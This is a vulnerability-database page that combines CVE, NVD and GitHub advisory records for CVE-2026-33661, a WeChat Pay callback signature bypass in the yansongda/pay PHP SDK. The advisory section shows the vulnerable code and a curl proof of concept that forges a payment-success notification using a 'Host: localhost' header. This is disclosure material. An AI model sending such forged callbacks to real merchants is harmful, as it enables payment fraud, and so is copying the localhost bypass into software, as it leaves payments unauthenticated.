Vulnerability-Lookup

CVE-2026-33661 (GCVE-0-2026-33661)

Vulnerability from cvelistv5 – Published: 2026-03-26 21:05 – Updated: 2026-03-27 20:00

Title

WeChat Pay callback signature verification bypassed when Host header is localhost

Summary

Pay is an open-source payment SDK extension package for various Chinese payment services. Prior to version 3.7.20, the `verify_wechat_sign()` function in `src/Functions.php` unconditionally skips all signature verification when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely. This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment. Version 3.7.20 fixes the issue.

Severity

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

CWE

CWE-290 - Authentication Bypass by Spoofing

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/yansongda/pay/security/advisor…	x_refsource_CONFIRM
https://github.com/yansongda/pay/commit/26987ebf7…	x_refsource_MISC
https://github.com/yansongda/pay/releases/tag/v3.7.20	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
yansongda	pay	Affected: < 3.7.20

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33661",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-27T14:12:47.859453Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-27T20:00:56.285Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pay",
          "vendor": "yansongda",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.7.20"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Pay is an open-source payment SDK extension package for various Chinese payment services. Prior to version 3.7.20, the `verify_wechat_sign()` function in `src/Functions.php` unconditionally skips all signature verification when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely. This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment. Version 3.7.20 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-290",
              "description": "CWE-290: Authentication Bypass by Spoofing",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-26T21:05:22.607Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc"
        },
        {
          "name": "https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f"
        },
        {
          "name": "https://github.com/yansongda/pay/releases/tag/v3.7.20",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/yansongda/pay/releases/tag/v3.7.20"
        }
      ],
      "source": {
        "advisory": "GHSA-q938-ghwv-8gvc",
        "discovery": "UNKNOWN"
      },
      "title": "WeChat Pay callback signature verification bypassed when Host header is localhost"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33661",
    "datePublished": "2026-03-26T21:05:22.607Z",
    "dateReserved": "2026-03-23T15:23:42.219Z",
    "dateUpdated": "2026-03-27T20:00:56.285Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-33661",
      "date": "2026-05-30",
      "epss": "0.00015",
      "percentile": "0.03415"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-33661\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-03-26T22:16:29.560\",\"lastModified\":\"2026-04-01T13:47:23.640\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Pay is an open-source payment SDK extension package for various Chinese payment services. Prior to version 3.7.20, the `verify_wechat_sign()` function in `src/Functions.php` unconditionally skips all signature verification when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely. This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment. Version 3.7.20 fixes the issue.\"},{\"lang\":\"es\",\"value\":\"Pay es un paquete de extensi\u00f3n de SDK de pago de c\u00f3digo abierto para varios servicios de pago chinos. Antes de la versi\u00f3n 3.7.20, la funci\u00f3n `verify_wechat_sign()` en `src/Functions.php` omite incondicionalmente toda la verificaci\u00f3n de firma cuando la solicitud PSR-7 informa localhost como el host. Un atacante puede explotar esto enviando una solicitud HTTP manipulada al endpoint de callback de WeChat Pay con un encabezado Host: localhost, eludiendo por completo la verificaci\u00f3n de firma RSA. Esto permite falsificar notificaciones de \u00e9xito de pago falsas de WeChat Pay, lo que podr\u00eda hacer que las aplicaciones marquen los pedidos como pagados sin un pago real. La versi\u00f3n 3.7.20 corrige el problema.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N\",\"baseScore\":8.6,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":4.0},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-290\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:yansongda:pay:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"3.7.20\",\"matchCriteriaId\":\"EB442148-12BE-4EE8-A5C6-99501BC4C1B2\"}]}]}],\"references\":[{\"url\":\"https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/yansongda/pay/releases/tag/v3.7.20\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Release Notes\"]},{\"url\":\"https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]},{\"url\":\"https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-33661\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-03-27T14:12:47.859453Z\"}}}], \"references\": [{\"url\": \"https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-03-27T14:12:58.458Z\"}}], \"cna\": {\"title\": \"WeChat Pay callback signature verification bypassed when Host header is localhost\", \"source\": {\"advisory\": \"GHSA-q938-ghwv-8gvc\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 8.6, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"yansongda\", \"product\": \"pay\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 3.7.20\"}]}], \"references\": [{\"url\": \"https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc\", \"name\": \"https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f\", \"name\": \"https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/yansongda/pay/releases/tag/v3.7.20\", \"name\": \"https://github.com/yansongda/pay/releases/tag/v3.7.20\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Pay is an open-source payment SDK extension package for various Chinese payment services. Prior to version 3.7.20, the `verify_wechat_sign()` function in `src/Functions.php` unconditionally skips all signature verification when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely. This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment. Version 3.7.20 fixes the issue.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-290\", \"description\": \"CWE-290: Authentication Bypass by Spoofing\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-26T21:05:22.607Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-33661\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-03-27T20:00:56.285Z\", \"dateReserved\": \"2026-03-23T15:23:42.219Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-03-26T21:05:22.607Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-33661

Vulnerability from fkie_nvd - Published: 2026-03-26 22:16 - Updated: 2026-04-01 13:47

Severity

8.6 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f	Patch
security-advisories@github.com	https://github.com/yansongda/pay/releases/tag/v3.7.20	Release Notes
security-advisories@github.com	https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	yansongda	pay	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:yansongda:pay:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "EB442148-12BE-4EE8-A5C6-99501BC4C1B2",
              "versionEndExcluding": "3.7.20",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Pay is an open-source payment SDK extension package for various Chinese payment services. Prior to version 3.7.20, the `verify_wechat_sign()` function in `src/Functions.php` unconditionally skips all signature verification when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely. This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment. Version 3.7.20 fixes the issue."
    },
    {
      "lang": "es",
      "value": "Pay es un paquete de extensi\u00f3n de SDK de pago de c\u00f3digo abierto para varios servicios de pago chinos. Antes de la versi\u00f3n 3.7.20, la funci\u00f3n `verify_wechat_sign()` en `src/Functions.php` omite incondicionalmente toda la verificaci\u00f3n de firma cuando la solicitud PSR-7 informa localhost como el host. Un atacante puede explotar esto enviando una solicitud HTTP manipulada al endpoint de callback de WeChat Pay con un encabezado Host: localhost, eludiendo por completo la verificaci\u00f3n de firma RSA. Esto permite falsificar notificaciones de \u00e9xito de pago falsas de WeChat Pay, lo que podr\u00eda hacer que las aplicaciones marquen los pedidos como pagados sin un pago real. La versi\u00f3n 3.7.20 corrige el problema."
    }
  ],
  "id": "CVE-2026-33661",
  "lastModified": "2026-04-01T13:47:23.640",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-03-26T22:16:29.560",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/yansongda/pay/releases/tag/v3.7.20"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-290"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-Q938-GHWV-8GVC

Vulnerability from github – Published: 2026-03-25 19:30 – Updated: 2026-03-27 22:10

Summary

WeChat Pay callback signature verification bypassed when Host header is localhost

Details

Summary

The verify_wechat_sign() function in src/Functions.php unconditionally skips all signature verification when the PSR-7 request reports localhost as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a Host: localhost header, bypassing the RSA signature check entirely.

This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.

Vulnerable Code

src/Functions.php lines 243-246:

function verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void
{
    // BYPASS: Returns without any signature check if Host header is localhost
    if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {
        return;  // No signature verified!
    }

    // ... openssl_verify() only reached when Host != localhost
    $wechatSerial = $message->getHeaderLine('Wechatpay-Serial');
    $sign = $message->getHeaderLine('Wechatpay-Signature');
    $result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');
}

In PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), $request->getUri()->getHost() reads the Host HTTP header, which is fully attacker-controlled.

Proof of Concept

curl -X POST https://merchant.example.com/payment/wechat/callback \
  -H "Host: localhost" \
  -H "Content-Type: application/json" \
  -H "Wechatpay-Serial: any" \
  -H "Wechatpay-Timestamp: 1234567890" \
  -H "Wechatpay-Nonce: abc" \
  -H "Wechatpay-Signature: AAAA" \
  -d '{"id":"fake-order","event_type":"TRANSACTION.SUCCESS"}'

verify_wechat_sign() returns immediately without verifying the signature. The application marks the order as paid.

Impact

Payment fraud: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks
No authentication required: Pure network attack, zero privileges needed
Wide reach: Affects any application using yansongda/pay for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.19"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "yansongda/pay"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T19:30:09Z",
    "nvd_published_at": "2026-03-26T22:16:29Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `verify_wechat_sign()` function in `src/Functions.php` unconditionally **skips all signature verification** when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely.\n\nThis allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.\n\n## Vulnerable Code\n\n**`src/Functions.php` lines 243-246:**\n```php\nfunction verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void\n{\n    // BYPASS: Returns without any signature check if Host header is localhost\n    if ($message instanceof ServerRequestInterface \u0026\u0026 \u0027localhost\u0027 === $message-\u003egetUri()-\u003egetHost()) {\n        return;  // No signature verified!\n    }\n\n    // ... openssl_verify() only reached when Host != localhost\n    $wechatSerial = $message-\u003egetHeaderLine(\u0027Wechatpay-Serial\u0027);\n    $sign = $message-\u003egetHeaderLine(\u0027Wechatpay-Signature\u0027);\n    $result = 1 === openssl_verify($content, base64_decode($sign), $public, \u0027sha256WithRSAEncryption\u0027);\n}\n```\n\nIn PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), `$request-\u003egetUri()-\u003egetHost()` reads the `Host` HTTP header, which is fully attacker-controlled.\n\n## Proof of Concept\n\n```bash\ncurl -X POST https://merchant.example.com/payment/wechat/callback \\\n  -H \"Host: localhost\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Wechatpay-Serial: any\" \\\n  -H \"Wechatpay-Timestamp: 1234567890\" \\\n  -H \"Wechatpay-Nonce: abc\" \\\n  -H \"Wechatpay-Signature: AAAA\" \\\n  -d \u0027{\"id\":\"fake-order\",\"event_type\":\"TRANSACTION.SUCCESS\"}\u0027\n```\n\n`verify_wechat_sign()` returns immediately without verifying the signature. The application marks the order as paid.\n\n## Impact\n\n- **Payment fraud**: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks\n- **No authentication required**: Pure network attack, zero privileges needed\n- **Wide reach**: Affects any application using `yansongda/pay` for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.",
  "id": "GHSA-q938-ghwv-8gvc",
  "modified": "2026-03-27T22:10:51Z",
  "published": "2026-03-25T19:30:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33661"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yansongda/pay"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yansongda/pay/releases/tag/v3.7.20"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WeChat Pay callback signature verification bypassed when Host header is localhost"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-33661 (GCVE-0-2026-33661)

FKIE_CVE-2026-33661

GHSA-Q938-GHWV-8GVC

Summary

Vulnerable Code

Proof of Concept

Impact

Tags

Sightings

Nomenclature